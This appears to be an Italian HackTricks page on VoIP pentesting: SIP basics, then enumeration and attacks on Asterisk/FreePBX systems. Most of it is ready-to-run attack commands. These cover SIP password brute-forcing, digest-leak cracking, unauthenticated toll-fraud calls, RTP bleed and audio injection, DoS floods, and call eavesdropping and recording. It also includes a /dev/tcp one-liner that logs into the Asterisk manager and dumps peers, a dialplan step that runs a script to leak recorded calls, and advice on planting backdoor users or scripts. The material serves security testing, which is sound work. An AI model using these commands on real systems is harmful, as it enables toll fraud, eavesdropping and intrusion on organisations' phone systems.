Pentesting VoIP
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
VoIP Informazioni di Base
Per iniziare a imparare come funziona il VoIP, controlla:
Messaggi di Base
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Codici di Risposta
1xxâRisposte Provvisorie
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xxâRisposte di Successo
200 OK
202 Accepted
204 No Notification
3xxâRisposte di Reindirizzamento
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xxâRisposte di Errore del Client
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xxâRisposte di errore del server
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xxâRisposte di Errore Globale
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Numeri di telefono
Uno dei primi passi che un Red Team potrebbe fare è cercare numeri di telefono disponibili per contattare lâazienda utilizzando strumenti OSINT, ricerche su Google o scraping delle pagine web.
Una volta ottenuti i numeri di telefono, puoi utilizzare servizi online per identificare lâoperatore:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Sapere se lâoperatore fornisce servizi VoIP ti permetterĂ di identificare se lâazienda sta utilizzando VoIP⌠Inoltre, è possibile che lâazienda non abbia assunto servizi VoIP ma stia utilizzando schede PSTN per collegare il proprio PBX VoIP alla rete telefonica tradizionale.
Cose come risposte automatiche di musica di solito indicano che viene utilizzato VoIP.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Informazioni OSINT
Qualsiasi altra enumerazione OSINT che aiuti a identificare il software VoIP in uso sarĂ utile per un Red Team.
Enumerazione della rete
nmapè in grado di scansionare i servizi UDP, ma a causa del numero di servizi UDP scansionati, è molto lento e potrebbe non essere molto preciso con questo tipo di servizi.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmapda SIPVicious (sudo apt install sipvicious): LocalizzerĂ i servizi SIP nella rete indicata.svmapè facile da bloccare perchĂŠ utilizza lâUser-Agentfriendly-scanner, ma puoi modificare il codice in/usr/share/sipvicious/sipviciouse cambiarlo.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scanda sippts: La scansione SIPPTS è uno scanner molto veloce per i servizi SIP su UDP, TCP o TLS. Utilizza il multithreading e può scansionare ampie gamme di reti. Permette di indicare facilmente un intervallo di porte, scansionare sia TCP che UDP, utilizzare un altro metodo (per impostazione predefinita utilizzerà OPTIONS) e specificare un User-Agent diverso (e altro).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Enumerazione Rete Aggiuntiva
Il PBX potrebbe anche esporre altri servizi di rete come:
- 69/UDP (TFTP): Aggiornamenti del firmware
- 80 (HTTP) / 443 (HTTPS): Per gestire il dispositivo dal web
- 389 (LDAP): Alternativa per memorizzare le informazioni degli utenti
- 3306 (MySQL): Database MySQL
- 5038 (Manager): Consente di utilizzare Asterisk da altre piattaforme
- 5222 (XMPP): Messaggi utilizzando Jabber
- 5432 (PostgreSQL): Database PostgreSQL
- E altriâŚ
Enumerazione dei Metodi
Ă possibile trovare quali metodi sono disponibili da utilizzare nel PBX usando SIPPTS enumerate da sippts
sippts enumerate -i 10.10.0.10
Analisi delle risposte del server
Ă molto importante analizzare le intestazioni che un server ci restituisce, a seconda del tipo di messaggio e delle intestazioni che inviamo. Con SIPPTS send da sippts possiamo inviare messaggi personalizzati, manipolando tutte le intestazioni, e analizzare la risposta.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
Ă anche possibile ottenere dati se il server utilizza websockets. Con SIPPTS wssend da sippts possiamo inviare messaggi WS personalizzati.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Enumerazione delle Estensioni
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono ai identificatori interni unici assegnati a singole linee telefoniche, dispositivi o utenti allâinterno di unâorganizzazione o azienda. Le estensioni rendono possibile instradare le chiamate allâinterno dellâorganizzazione in modo efficiente, senza la necessitĂ di numeri di telefono esterni individuali per ogni utente o dispositivo.
svwarda SIPVicious (sudo apt install sipvicious):svwarè uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer indovinando un intervallo di estensioni o un dato elenco di estensioni.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS extenfrom sippts: SIPPTS exten identifica le estensioni su un server SIP. Sipexten può controllare ampie gamme di rete e porte.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: Puoi anche enumerare estensioni/nomi utente con metasploit:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax(apt install enumiax): enumIAX è un enumeratore di username brute-force per il protocollo Inter Asterisk Exchange. enumIAX può operare in due modalità distinte: Indovinare Username in Sequenza o Attacco a Dizionario.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Attacchi VoIP
Password Brute-Force - online
Avendo scoperto il PBX e alcuni interni/nomi utente, un Red Team potrebbe provare ad autenticarsi tramite il metodo REGISTER a un interno utilizzando un dizionario di password comuni per forzare lâautenticazione.
Caution
Nota che un nome utente può essere lo stesso dellâinterno, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dellâorganizzazioneâŚ
Se il nome utente non è lo stesso dellâinterno, dovrai scoprire il nome utente da forzare.
svcrackda SIPVicious (sudo apt install sipvicious): SVCrack ti consente di decifrare la password per un nome utente/interno specifico su un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrackfrom sippts: SIPPTS rcrack è un cracker di password remoto per i servizi SIP. Rcrack può testare le password per diversi utenti in diverse gamme di IP e porte.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
Se trovi attrezzature VoIP allâinterno di una rete Wifi aperta, potresti sniffare tutte le informazioni. Inoltre, se sei allâinterno di una rete piĂš chiusa (connessa tramite Ethernet o Wifi protetto) potresti eseguire attacchi MitM come ARPspoofing tra il PBX e il gateway per sniffare le informazioni.
Tra le informazioni di rete, potresti trovare credenziali web per gestire lâattrezzatura, estensioni utente, nome utente, indirizzi IP, persino password hashate e pacchetti RTP che potresti riprodurre per ascoltare la conversazione, e altro ancora.
Per ottenere queste informazioni potresti utilizzare strumenti come Wireshark, tcpdump⌠ma uno strumento appositamente creato per sniffare conversazioni VoIP è ucsniff.
Caution
Nota che se TLS è utilizzato nella comunicazione SIP non sarai in grado di vedere la comunicazione SIP in chiaro.
Lo stesso accadrĂ se viene utilizzato SRTP e ZRTP, i pacchetti RTP non saranno in testo chiaro.
Credenziali SIP (Password Brute-Force - offline)
Controlla questo esempio per comprendere meglio una comunicazione SIP REGISTER per apprendere come vengono inviate le credenziali.
sipdump&sipcrack, parte di sipcrack (apt-get install sipcrack): Questi strumenti possono estrarre da un pcap le autenticazioni digest allâinterno del protocollo SIP e bruteforzarle.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dumpda sippts: Il dump SIPPTS può estrarre le autenticazioni digest da un file pcap.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrackda sippts: SIPPTS dcrack è uno strumento per decifrare le autenticazioni digest ottenute con il dump di SIPPTS.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tsharkda sippts: SIPPTS tshark estrae dati del protocollo SIP da un file PCAP.
sippts tshark -f capture.pcap [-filter auth]
Codici DTMF
Non solo le credenziali SIP possono essere trovate nel traffico di rete, è anche possibile trovare codici DTMF che vengono utilizzati, ad esempio, per accedere alla voicemail.
Ă possibile inviare questi codici nei messaggi INFO SIP, in audio o allâinterno dei pacchetti RTP. Se i codici sono allâinterno dei pacchetti RTP, puoi tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
multimon -a DTMF -t wac pin.wav
Chiamate gratuite / Configurazioni errate delle connessioni Asterisk
In Asterisk è possibile consentire una connessione da un indirizzo IP specifico o da qualsiasi indirizzo IP:
host=10.10.10.10
host=dynamic
Se viene specificato un indirizzo IP, lâhost non avrĂ bisogno di inviare richieste REGISTER di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, solitamente 30 minuti, il che significa che in un altro scenario il telefono dovrĂ registrarsi ogni 30 minuti). Tuttavia, dovrĂ avere porte aperte che consentono connessioni dal server VoIP per ricevere chiamate.
Per definire gli utenti, possono essere definiti come:
type=user: Lâutente può ricevere solo chiamate come utente.type=friend: Ă possibile effettuare chiamate come peer e riceverle come utente (utilizzato con le estensioni)type=peer: Ă possibile inviare e ricevere chiamate come peer (SIP-trunks)
Ă anche possibile stabilire fiducia con la variabile insicura:
insecure=port: Consente connessioni peer validate per IP.insecure=invite: Non richiede autenticazione per i messaggi INVITEinsecure=port,invite: Entrambi
Warning
Quando viene utilizzato
type=friend, il valore della variabile host non verrĂ utilizzato, quindi se un amministratore misconfigura un SIP-trunk utilizzando quel valore, chiunque sarĂ in grado di connettersi ad esso.Ad esempio, questa configurazione sarebbe vulnerabile:
host=10.10.10.10insecure=port,invitetype=friend
Chiamate gratuite / Misconfigurazioni del contesto Asterisk
In Asterisk un contesto è un contenitore o sezione nominata nel piano di composizione che raggruppa insieme estensioni, azioni e regole correlate. Il piano di composizione è il componente centrale di un sistema Asterisk, poichÊ definisce come vengono gestite e instradate le chiamate in entrata e in uscita. I contesti vengono utilizzati per organizzare il piano di composizione, gestire il controllo degli accessi e fornire separazione tra le diverse parti del sistema.
Ogni contesto è definito nel file di configurazione, tipicamente nel file extensions.conf. I contesti sono denotati da parentesi quadre, con il nome del contesto racchiuso allâinterno di esse. Ad esempio:
csharpCopy code[my_context]
Allâinterno del contesto, definisci le estensioni (modelli di numeri composti) e le associ a una serie di azioni o applicazioni. Queste azioni determinano come la chiamata viene elaborata. Ad esempio:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Questo esempio dimostra un semplice contesto chiamato âmy_contextâ con unâestensione â100â. Quando qualcuno compone 100, la chiamata verrĂ risposta, verrĂ riprodotto un messaggio di benvenuto e poi la chiamata verrĂ terminata.
Questo è un altro contesto che consente di chiamare qualsiasi altro numero:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Se lâamministratore definisce il contesto predefinito come:
[default]
include => my_context
include => external
Warning
Chiunque sarĂ in grado di utilizzare il server per chiamare qualsiasi altro numero (e lâamministratore del server pagherĂ per la chiamata).
Caution
Inoltre, per impostazione predefinita, il file
sip.confcontieneallowguest=true, quindi qualsiasi attaccante senza autenticazione sarĂ in grado di chiamare qualsiasi altro numero.
SIPPTS inviteda sippts: Lâinvito SIPPTS verifica se un server PBX ci consente di effettuare chiamate senza autenticazione. Se il server SIP ha una configurazione errata, ci permetterĂ di effettuare chiamate a numeri esterni. Può anche consentirci di trasferire la chiamata a un secondo numero esterno.
Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, puoi accettare richieste INVITE senza autorizzazione. In questo caso, un attaccante può effettuare chiamate senza conoscere alcun utente/password.
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
Chiamate gratuite / IVRS mal configurati
IVRS sta per Interactive Voice Response System, una tecnologia telefonica che consente agli utenti di interagire con un sistema computerizzato tramite input vocali o a toni. IVRS viene utilizzato per costruire sistemi di gestione automatizzata delle chiamate che offrono una gamma di funzionalitĂ , come fornire informazioni, instradare chiamate e catturare input degli utenti.
IVRS nei sistemi VoIP consiste tipicamente in:
- Messaggi vocali: Messaggi audio preregistrati che guidano gli utenti attraverso le opzioni e le istruzioni del menu IVR.
- DTMF (Dual-Tone Multi-Frequency) signaling: Input a toni generati premendo i tasti del telefono, utilizzati per navigare nei menu IVR e fornire input.
- Instradamento delle chiamate: Direzionare le chiamate alla destinazione appropriata, come specifici dipartimenti, agenti o interni in base allâinput dellâutente.
- Cattura dellâinput dellâutente: Raccolta di informazioni dai chiamanti, come numeri di conto, ID caso o qualsiasi altro dato rilevante.
- Integrazione con sistemi esterni: Collegare il sistema IVR a database o altri sistemi software per accedere o aggiornare informazioni, eseguire azioni o attivare eventi.
In un sistema VoIP Asterisk, puoi creare un IVR utilizzando il piano di composizione (extensions.conf file) e varie applicazioni come Background(), Playback(), Read(), e altro. Queste applicazioni ti aiutano a riprodurre messaggi vocali, catturare input degli utenti e controllare il flusso delle chiamate.
Esempio di configurazione vulnerabile
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Lâesempio precedente è un caso in cui allâutente viene chiesto di premere 1 per chiamare un dipartimento, 2 per chiamare un altro, o il numero completo se lo conosce.
La vulnerabilità è il fatto che la lunghezza dellâestensione indicata non viene controllata, quindi un utente potrebbe inserire il timeout di 5 secondi di un numero completo e verrĂ chiamato.
Extension Injection
Utilizzando unâestensione come:
exten => _X.,1,Dial(SIP/${EXTEN})
Dove ${EXTEN} è lâestensione che verrĂ chiamata, quando viene introdotta lâext 101 questo è ciò che accadrebbe:
exten => 101,1,Dial(SIP/101)
Tuttavia, se ${EXTEN} consente di introdurre piĂš di numeri (come nelle versioni precedenti di Asterisk), un attaccante potrebbe introdurre 101&SIP123123123 per chiamare il numero di telefono 123123123. E questo sarebbe il risultato:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Pertanto, una chiamata allâestensione 101 e 123123123 verrĂ inviata e solo la prima a ricevere la chiamata sarĂ stabilita⌠ma se un attaccante utilizza un âestensione che bypassa qualsiasi corrispondenza che viene eseguita ma non esiste, potrebbe iniettare una chiamata solo al numero desiderato.
VulnerabilitĂ SIPDigestLeak
La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran numero di telefoni SIP, inclusi sia telefoni IP hardware che software, cosÏ come adattatori telefonici (VoIP a analogico). La vulnerabilità consente la fuoriuscita della risposta di autenticazione Digest, che viene calcolata dalla password. Un attacco offline alla password è quindi possibile e può recuperare la maggior parte delle password basate sulla risposta alla sfida.
**Scenario di vulnerabilitĂ da qui**:
- Un telefono IP (vittima) è in ascolto su qualsiasi porta (ad esempio: 5060), accettando chiamate telefoniche
- Lâattaccante invia un INVITE al telefono IP
- Il telefono della vittima inizia a squillare e qualcuno risponde e riattacca (perchĂŠ nessuno risponde al telefono dallâaltra parte)
- Quando il telefono viene riattaccato, il telefono della vittima invia un BYE allâattaccante
- Lâattaccante emette una risposta 407 che richiede autenticazione e emette una sfida di autenticazione
- Il telefono della vittima fornisce una risposta alla sfida di autenticazione in un secondo BYE
- Lâattaccante può quindi emettere un attacco di forza bruta sulla risposta alla sfida sulla sua macchina locale (o rete distribuita ecc.) e indovinare la password
- SIPPTS leak da sippts: Il leak SIPPTS sfrutta la vulnerabilitĂ SIP Digest Leak che colpisce un gran numero di telefoni SIP. Lâoutput può essere salvato in formato SipCrack per essere forzato utilizzando SIPPTS dcrack o lo strumento SipCrack.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call consente a un utente web (che ad esempio potrebbe essere interessato a un prodotto) di inserire il proprio numero di telefono per essere richiamato. Poi verrĂ chiamato un commerciale e, quando lui risponde al telefono, lâutente sarĂ chiamato e connesso con lâagente.
Un profilo Asterisk comune per questo è:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Il profilo precedente consente a QUALSIASI indirizzo IP di connettersi (se la password è nota).
- Per organizzare una chiamata, come specificato in precedenza, non sono necessarie autorizzazioni di lettura e solo originate in scrittura è necessario.
Con queste autorizzazioni, qualsiasi IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
Ulteriori informazioni o azioni potrebbero essere richieste.
Intercettazione
In Asterisk è possibile utilizzare il comando ChanSpy indicando le estensioni da monitorare (o tutte) per ascoltare le conversazioni che stanno avvenendo. Questo comando deve essere assegnato a unâestensione.
Ad esempio, exten => 333,1,ChanSpy('all',qb) indica che se chiami lâestensione 333, essa monitorerĂ tutte le estensioni, inizierĂ ad ascoltare ogni volta che inizia una nuova conversazione (b) in modalitĂ silenziosa (q) poichĂŠ non vogliamo interagire. Puoi passare da una conversazione allâaltra premendo *, o segnando il numero dellâestensione.
Ă anche possibile utilizzare ExtenSpy per monitorare solo unâestensione.
Invece di ascoltare le conversazioni, è possibile registrarle in file utilizzando unâestensione come:
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
Le chiamate saranno salvate in /tmp.
Potresti anche far sÏ che Asterisk esegua uno script che farà trapelare la chiamata quando è chiusa.
exten => h,1,System(/tmp/leak_conv.sh &)
VulnerabilitĂ RTCPBleed
RTCPBleed è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilitĂ consente al traffico RTP (Real Time Protocol), che trasporta le conversazioni VoIP, di essere intercettato e reindirizzato da chiunque su Internet. Questo avviene perchĂŠ il traffico RTP bypassa lâautenticazione quando naviga attraverso i firewall NAT (Network Address Translation).
I proxy RTP cercano di affrontare le limitazioni del NAT che influenzano i sistemi RTC proxyando i flussi RTP tra due o piĂš parti. Quando il NAT è attivo, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale tupla IP e porta viene appresa automaticamente. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando lâIP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato âmodalitĂ di apprendimentoâ, non utilizza alcun tipo di autenticazione. Pertanto, gli attaccanti possono inviare traffico RTP al proxy RTP e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di uno stream RTP in corso. Chiamiamo questa vulnerabilitĂ RTP Bleed perchĂŠ consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, anche se non vulnerabili a RTP Bleed, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i propri media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perchĂŠ consente lâiniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilitĂ può essere trovata sia nei proxy RTP che nei punti finali.
Asterisk e FreePBX hanno tradizionalmente utilizzato lâimpostazione NAT=yes, che consente al traffico RTP di bypassare lâautenticazione, portando potenzialmente a nessun audio o audio unidirezionale nelle chiamate.
Per ulteriori informazioni controlla https://www.rtpbleed.com/
SIPPTS rtpbleedda sippts: SIPPTS rtpbleed rileva la vulnerabilitĂ RTP Bleed inviando flussi RTP.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleedda sippts: SIPPTS rtcpbleed rileva la vulnerabilitĂ RTP Bleed inviando flussi RTCP.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedfloodda sippts: SIPPTS rtpbleedflood sfrutta la vulnerabilitĂ RTP Bleed inviando flussi RTP.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinjectda sippts: SIPPTS rtpbleedinject sfrutta la vulnerabilitĂ RTP Bleed iniettando un file audio (formato WAV).
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
In Asterisk riesci in qualche modo a aggiungere regole di estensione e ricaricarle (ad esempio compromettendo un server di gestione web vulnerabile), è possibile ottenere RCE utilizzando il comando System.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Câè un comando chiamato Shell che potrebbe essere utilizzato invece di System per eseguire comandi di sistema se necessario.
Warning
Se il server non consente lâuso di determinati caratteri nel comando
System(come in Elastix), verifica se il server web consente di creare file in qualche modo allâinterno del sistema (come in Elastix o trixbox), e usalo per creare uno script di backdoor e poi usaSystemper eseguire quello script.
File locali interessanti e permessi
sip.conf-> Contiene la password degli utenti SIP.- Se il server Asterisk è in esecuzione come root, potresti compromettere root.
- Lâutente root di mysql potrebbe non avere alcuna password.
- questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
FreePBXamportal.conf-> Contiene la password dellâamministratore del pannello web (FreePBX).FreePBX.conf-> Contiene la password dellâutente FreePBXuser utilizzato per accedere al database.- questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
ElastixElastix.conf-> Contiene diverse password in chiaro come la password root di mysql, la password IMAPd, la password dellâamministratore web.- Diverse cartelle apparterranno allâutente asterisk compromesso (se non in esecuzione come root). Questo utente può leggere i file precedenti e controlla anche la configurazione, quindi potrebbe far caricare ad Asterisk altri binari con backdoor quando eseguiti.
Iniezione RTP
Ă possibile inserire un .wav nelle conversazioni utilizzando strumenti come rtpinsertsound (sudo apt install rtpinsertsound) e rtpmixsound (sudo apt install rtpmixsound).
Oppure puoi utilizzare gli script da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ per scansionare le conversazioni (rtpscan.pl), inviare un .wav a una conversazione (rtpsend.pl) e inserire rumore in una conversazione (rtpflood.pl).
DoS
Ci sono diversi modi per cercare di ottenere DoS nei server VoIP.
SIPPTS floodda sippts**: Il flood SIPPTS invia messaggi illimitati al bersaglio.sippts flood -i 10.10.0.10 -m invite -vSIPPTS pingda sippts**: Il ping SIPPTS effettua un ping SIP per vedere il tempo di risposta del server.sippts ping -i 10.10.0.10- IAXFlooder: DoS protocollo IAX utilizzato da Asterisk.
- inviteflood: Uno strumento per eseguire flooding di messaggi SIP/SDP INVITE su UDP/IP.
- rtpflood: Invia diversi pacchetti RTP ben formati. Ă necessario conoscere le porte RTP che vengono utilizzate (sniffare prima).
- SIPp: Consente di analizzare e generare traffico SIP, quindi può essere utilizzato anche per DoS.
- SIPsak: Il coltellino svizzero SIP. Può anche essere utilizzato per eseguire attacchi SIP.
- Fuzzers: protos-sip, voiper.
VulnerabilitĂ del sistema operativo
Il modo piÚ semplice per installare un software come Asterisk è scaricare una distribuzione OS che lo ha già installato, come: FreePBX, Elastix, Trixbox⌠Il problema con questi è che una volta che funziona, gli amministratori di sistema potrebbero non aggiornarli mai piÚ e le vulnerabilità verranno scoperte col tempo.
Riferimenti
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

